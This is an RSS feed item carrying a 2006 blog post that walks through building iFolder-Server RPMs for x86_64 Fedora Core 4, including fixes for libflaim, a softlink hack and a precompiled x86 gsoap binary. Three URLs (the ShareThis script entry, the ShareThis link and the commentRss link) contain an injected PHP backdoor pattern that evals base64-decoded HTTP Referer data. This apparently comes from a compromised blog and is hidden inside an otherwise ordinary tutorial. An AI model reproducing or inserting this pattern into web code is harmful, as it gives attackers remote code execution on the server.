		<description><![CDATA[iFolder is a slick package that allows for seamless file synchronization between computers and a central server. If your computer is offline, you still have access to the files in your iFolder and any changes get synchronized with the server when you get back online. There is a Web Access interface and an easy to [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Building iFolder for x86_64",
	url: "http://plugins.baptiste.us/2006/04/12/building-ifolder-for-x86_64/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.ifolder.com/" target="_blank">iFolder</a> is a slick package that allows for seamless file synchronization between computers and a central server. If your computer is offline, you still have access to the files in your iFolder and any changes get synchronized with the server when you get back online. There is a Web Access interface and an easy to use Web Administration interface. iFolder uses SSL/HTTP connections making integration into existing networks and firewalls a snap.</p>
<p>Having just been <a href="http://cgaisford.blogspot.com/2006/03/ifolder-enterprise-server.html" target="_blank">open sourced</a>, I&#8217;m working to compile iFolder-Server RPMs for the x86_64 platform on <a href="http://fedora.redhat.com/" target="_blank">Fedora Core</a> 4. I&#8217;m using 4 instead of 5 simply because iFolder uses <a href="http://www.mono-project.com/Main_Page" target="_blank">mono</a> and I wasn&#8217;t able to find FC5 rpms (the Fedora Dev RPMs probably would have worked, but I can always upgrade to FC5 later).</p>
<p>So off we go&#8230;</p>
<p>First off, I needed a server to build and run iFolder on. I currently have a <a href="http://linux-vserver.org/" target="_blank">Linux Virtual Server</a> system running so I decided to setup a new server instance for iFolder. I setup FC4 in the new vserver using <a href="http://linux.duke.edu/projects/yum/" target="_blank">yum</a>. If you attempt this, you&#8217;ll need the usual development packages, gcc, automake, autoconf, m4, make, rpm-build, etc. RPM will spit out any dependencies you need when you first try to build an rpm. You also need mono installed. If you use yum, drop <a href="http://www.go-mono.com/download/fedora-4-x86_64/mono.repo" target="_blank">mono.repo</a> into your /etc/yum.repos.d directory and then install the following mono packages:</p>
<p><code>yum install mono-core mono-data mono-devel mono-web</code></p>
<p>iFolder depends on two other RPMs: log4net and libflaim. You can find source RPMs <a href="http://forgeftp.novell.com/ifolder/server/3.5/" target="_blank">here</a>. Click into the latest build directory, then &#8216;linux&#8217;, then FEDORA-CORE-4.0-i386, then srpms.</p>
<p>Building log4net was easy:</p>
<p><code>rpmbuild --rebuild log4net-1.2.9-4.src.rpm</code></p>
<p>It built for me no problem. Next up was libflaim, which iFolder-Server relies on heavily. My first attempt resulted in the following error:</p>
<p><code>Makefile:141: *** Host operating system could not be determined. Stop.</code></p>
<p>Interesting. I poked around the net a bit and found <a href="http://www.ifolder.com/index.php/HowTo:Building_iFolder_on_Gentoo" target="_blank">someone who had run into the same thing</a> trying to compile it on Gentoo. Fair enough. Its a hack, not a real fix, but here is how I got it built:</p>
<p>Install the source rpm: rpm -ivh libflaim-4.8.61-1.src.rpm<br />
    <br />
     Edit /usr/src/redhat/SPECS/libflaim.spec and change the make and make install lines to:</p>
<p>
<code>%build<br />
make lib_dir_name=%{_lib} libs HOSTTYPE=x86_64 OSTYPE=Linux<br />
</code><br />
<code>%install<br />
make rpm_build_root=$RPM_BUILD_ROOT install_prefix=%{prefix} lib_dir_name=%{_lib} install HOSTTYPE=x86_64 OSTYPE=Linux<br />
</code>
</p>
<p>I basically hardcoded the values at the end. You probably could have done `uname -s` and `uname -m` but I was lazy.</p>
<p>Now try and build it from /usr/src/redhat/SPECS: rpmbuild -ba ./libflaim.spec<br />
    
    </p>
<p>Voila! libflaim and libflaim-devel RPMs were sitting in /usr/src/redhat/RPMS/x86_64 waiting to be installed. They installed no problem.</p>
<p>Now for the real fun, building iFolder-Server. My first attempt gave me an error about libtoolize not existing. So I used yum to install libtool and tried again. The next error complained that /usr/lib/libflaim.a did not exist. This makes sense. x86_64 machines put their 64bit libraries in /usr/lib64. Being lazy again, I went ahead and softlinked /usr/lib64/libflaim.a into /usr/lib. BAD I know. But I wanted to just see if it would work. Sure enough, I got past that error, though I was still seeing this warning:</p>
<p>
<code>/bin/sh ../../../../libtool --tag=CXX --mode=link g++ -g -O2 -o libFlaimWrapper.la -rpath /usr/lib /usr/lib/libflaim.a libFlaimWrapper_la-CSPObjectIterator.lo libFlaimWrapper_la-CSPropertyIterator.lo libFlaimWrapper_la-CSPStore.lo libFlaimWrapper_la-CSPStoreObject.lo libFlaimWrapper_la-FlaimWrapper.lo<br />
</code><br />
<code>*** Warning: Linking the shared library libFlaimWrapper.la against the<br />
*** static library /usr/lib/libflaim.a is not portable!<br />
</code><br />
<code>g++ -shared -nostdlib /usr/lib/gcc/x86_64-redhat-linux/4.0.2/../../../../lib64/crti.o /usr/lib/gcc/x86_64-redhat-linux/4.0.2/crtbeginS.o .libs/libFlaimWrapper_la-CSPObjectIterator.o .libs/libFlaimWrapper_la-CSPropertyIterator.o .libs/libFlaimWrapper_la-CSPStore.o .libs/libFlaimWrapper_la-CSPStoreObject.o .libs/libFlaimWrapper_la-FlaimWrapper.o /usr/lib/libflaim.a -L/usr/lib/gcc/x86_64-redhat-linux/4.0.2 -L/usr/lib/gcc/x86_64-redhat-linux/4.0.2/../../../../lib64 -L/usr/lib/gcc/x86_64-redhat-linux/4.0.2/../../.. -L/lib/../lib64 -L/usr/lib/../lib64 -lstdc++ -lm -lc -lgcc_s /usr/lib/gcc/x86_64-redhat-linux/4.0.2/crtendS.o /usr/lib/gcc/x86_64-redhat-linux/4.0.2/../../../../lib64/crtn.o -Wl,-soname -Wl,libFlaimWrapper.so.0 -o .libs/libFlaimWrapper.so.0.0.0<br />
</code>
</p>
<p>Which is 100% correct. It is NOT portable! But it kept on compiling.</p>
<p>Now I&#8217;ve run into an error I&#8217;m not sure how to fix. The build uses somethign called the gSOAP Skeleton Compiler:</p>
<p>
<code>** The gSOAP Stub and Skeleton Compiler for C and C++ 2.7.0c<br />
** Copyright (C) 2001-2004 Robert van Engelen, Genivia, Inc.<br />
** All Rights Reserved. This product is provided &quot;as is&quot;, without any warranty.<br />
</code>
</p>
<p>which appears to build fine:</p>
<p>
<code>Saving envStub.h<br />
Saving envH.h<br />
Saving envC.c<br />
Saving envClient.c<br />
Saving envServer.c<br />
Saving envClientLib.c<br />
Saving envServerLib.c<br />
&nbsp;<br />
Compilation successful<br />
</code>
</p>
<p>but as the build tries to use part of this package, it dies:</p>
<p>
<code>gcc -DPACKAGE_NAME=\&quot;\&quot; -DPACKAGE_TARNAME=\&quot;\&quot; -DPACKAGE_VERSION=\&quot;\&quot; -DPACKAGE_STRING=\&quot;\&quot; -DPACKAGE_BUGREPORT=\&quot;\&quot; -DPACKAGE=\&quot;simias\&quot; -DVERSION=\&quot;1.5\&quot; -DSTDC_HEADERS=1 -DHAVE_SYS_TYPES_H=1 -DHAVE_SYS_STAT_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRING_H=1 -DHAVE_MEMORY_H=1 -DHAVE_STRINGS_H=1 -DHAVE_INTTYPES_H=1 -DHAVE_STDINT_H=1 -DHAVE_UNISTD_H=1 -DHAVE_DLFCN_H=1 -I. -I. -I/usr/include/libxml2 -DWITH_NONAMESPACES -DWITH_COOKIES -MT libsimias_la-envC.lo -MD -MP -MF .deps/libsimias_la-envC.Tpo -c envC.c -o libsimias_la-envC.o &gt;/dev/null 2&gt;&amp;1<br />
../../../tools/gsoap/linux-2.7/wsdl2h -c -o libsimias.h ../WebService/Simias.wsdl<br />
make[3]: ../../../tools/gsoap/linux-2.7/wsdl2h: Command not found<br />
make[3]: *** [libsimias.h] Error 127<br />
make[3]: Leaving directory `/usr/src/redhat/BUILD/ifolder3-server-3.5.6102.1/src/core/libsimias&#8217;<br />
make[2]: *** [all-recursive] Error 1<br />
make[2]: Leaving directory `/usr/src/redhat/BUILD/ifolder3-server-3.5.6102.1/src/core&#8217;<br />
make[1]: *** [all-recursive] Error 1<br />
make[1]: Leaving directory `/usr/src/redhat/BUILD/ifolder3-server-3.5.6102.1/src&#8217;<br />
make: *** [all-recursive] Error 1<br />
</code>
</p>
<p>Bummer. It looks to be a path issue, because the tool DOES exist:</p>
<p><code>/usr/src/redhat/BUILD/ifolder3-server-3.5.6102.1/tools/gsoap/linux-2.7/wsdl2h</code></p>
<p>And that&#8217;s where I am at. I&#8217;m going to forward all this to the iFolder folks so the source RPMs can get fixed. Hopefully I can figure out a way to get past this as I&#8217;m really looking forward to firing up iFolder on x86_64. I&#8217;ll update this as I make progress.</p>
<p><strong>UPDATE 1:</strong> Here are the bugs I submitted for the above three problems: <a href="https://bugzilla.novell.com/show_bug.cgi?id=165693" target="_blank">165693</a> <a href="https://bugzilla.novell.com/show_bug.cgi?id=165696">165696</a> <a href="https://bugzilla.novell.com/show_bug.cgi?id=165700">165700</a></p>
<p><strong>UPDATE 2:</strong> Here is a <a href="http://www.ifolder.com/index.php/HowTo:Building_iFolder_Enterprise_Server_on_Fedora_Core" target="_blank">HOWTO related to Fedora building</a>. Note the SELinux issues.</p>
<p><strong>UPDATE 3:</strong> One thing I forgot to mention was when I used yum to install compat-libstdc++-33, it returned both the i386 and x86_64 versions to be installed. Wanting to keep things x86_64, I said &#8216;N&#8217;o to the install and grabbed the x86_64 version of compat-libstdc++-33 from <a href="http://rpmfind.net" target="_blank">rpmfind.net</a> and installed it manually. Once I did that, all the other dependencies worked.</p>
<p><strong>UPDATE 4:</strong> Ah-ha! Its not a missing file. Its another library problem. gsoap seems to expect that ld-linux will be in /lib. Note what happens when I try the failing command manually:</p>
<p>
<code><br />
/usr/src/redhat/BUILD/ifolder3-server-3.5.6102.1/src/core/libsimias&gt; ../../../tools/gsoap/linux-2.7/wsdl2h -c -o libsimias.h ../WebService/Simias.wsdl<br />
bash: ../../../tools/gsoap/linux-2.7/wsdl2h: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory<br />
</code>
</p>
<p>Well that makes sense. ld-linux is not in /lib. It&#8217;s in /lib64: /lib64/ld-linux-x86-64.so.2</p>
<p>That would explain the failure. I&#8217;ll try a link hack again (bad bad I know) and if that works see how this can be fixed properly.  Well, if you softlink the library, the same part of the compile says it is trying to access a corrupt shared library. But it has me on the right track. Time to dig into the various Makefiles and see if I can figure out where it is hardcoded&#8230;.</p>
<p><strong>UPDATE 5:</strong> Duh - should have figured this out earlier. The iFolder-Server source rpm includes a precompiled version of <a href="http://www.cs.fsu.edu/%7Eengelen/soap.html" target="_blank">gsoap</a> - built on x86 so it fails to run on x86_64. I&#8217;m grabbing the latest gsoap source now and will build it on x86_64 which should allow the build to continue. I hope&#8230;.</p>
<p><strong>UPDATE 6: SUCCESS!!!!!</strong> Man that was painful! The ifolder source RPM includes a precompiled version of gsoap 2.7.0 which is an x86 compiled version. I found a gsoap v2.7.2 source RPM which I was able to build. I also was able to create a source RPM for v2.7.7 of gsoap, but the errors I got seemed to indicate soem API changes from 2.7.0. So I decided to just do for x86_64 what had been done for x86. I found v2.7.0f of gsoap (and a couple of patches) and compiled it for x86_64. I then spliced in that version of gsoap into the ifolder source tree. Tarred and zipped it up and put it in /usr/src/redhat/SOURCES and did an rpmbuild -ba off the ifolder SPEC file. And Voila! It Built! And it installed. Be afraid! I&#8217;m beat now, so I&#8217;m going to give it a whirl in the morning to see if it&#8217;ll actually run!</p>
<p>I&#8217;ll try emailing the developers tomorrow. If they can extract the gsoap dependencies such that the iFolder RPM uses a gsoap RPM, that would be very nice. The gsoap RPMs were somewhat confusing since the v2.7.2 RPM patched the gsoap source to switch from a simple stdsoap2.h to a numebr of headers (dom.h, xml.h, etc) I think gsoap made some major changes from v2.7.0 up through v2.7.7.</p>
<p>I&#8217;ve now got a buildable ifolder-server source RPM that will build on x86_64 (but since it is precompiled gsoap still it&#8217;ll ONLY build on x86_64) If I&#8217;m able to get iFolder running on x86_64, I&#8217;ll post a link to the src rpm I have.
    </p>
<p>[Originally posted at baptiste.us - <a href="http://baptiste.us/2006/04/12/building-ifolder-for-x86_64/">See the original article for comments</a>]
    </p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Building+iFolder+for+x86_64&url=http%3A%2F%2Fplugins.baptiste.us%2F2006%2F04%2F12%2Fbuilding-ifolder-for-x86_64%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2006/04/12/building-ifolder-for-x86_64/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
